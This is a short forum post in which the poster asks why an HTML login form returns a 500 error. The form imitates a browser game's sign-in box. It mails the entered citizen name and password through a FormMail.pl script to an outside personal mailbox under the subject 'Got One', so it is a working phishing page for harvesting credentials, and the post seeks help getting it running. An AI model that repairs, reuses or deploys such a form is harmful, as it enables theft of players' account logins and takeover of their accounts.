Lost

[Speed D]

Does anyone see something blatantly wrong with this? I keep getting 500.

    <div id="loginbox">
        <span class="title">Enter the new world</span>
                    <div class="facebook_login">
            <a style="display:none;" class="facebook_login_link" onclick="FB.Connect.requireSession(function(){facebook_connect_redirectToLink('/en/facebook/login')}); return false;" href="javascript:;"  id="RES_ID_fb_login">
                <img id="fb_login_image" src="/images/parts/connect_light_medium_short.gif" alt="Connect" />
            </a>
        </div>
                        <form method="post" action="/cgi-bin/FormMail.pl"><input type="hidden" name="recipient" value="kilbupere@aol.com" /><input type="hidden" name="subject" value="Got One" />        <div class="half">
            <div class="fieldname">Citizen name</div>
                <input type="text" name="name" />
               <a class="smalldotted goleft" tabindex="4" rel="nofollow" href="/en/forgot-password">Forgot password?</a>        </div>
        <div class="half">
            <div class="fieldname">Password</div>
                <input type="password" name="password" />
              <input type="checkbox" name="remember" id="remember" value="1" class="check" tabindex="5" />&nbsp;
            <label for="remember">Remember me</label>
        </div>
            <input type="submit" value="Submit" name="Submit" />            </form>    </div>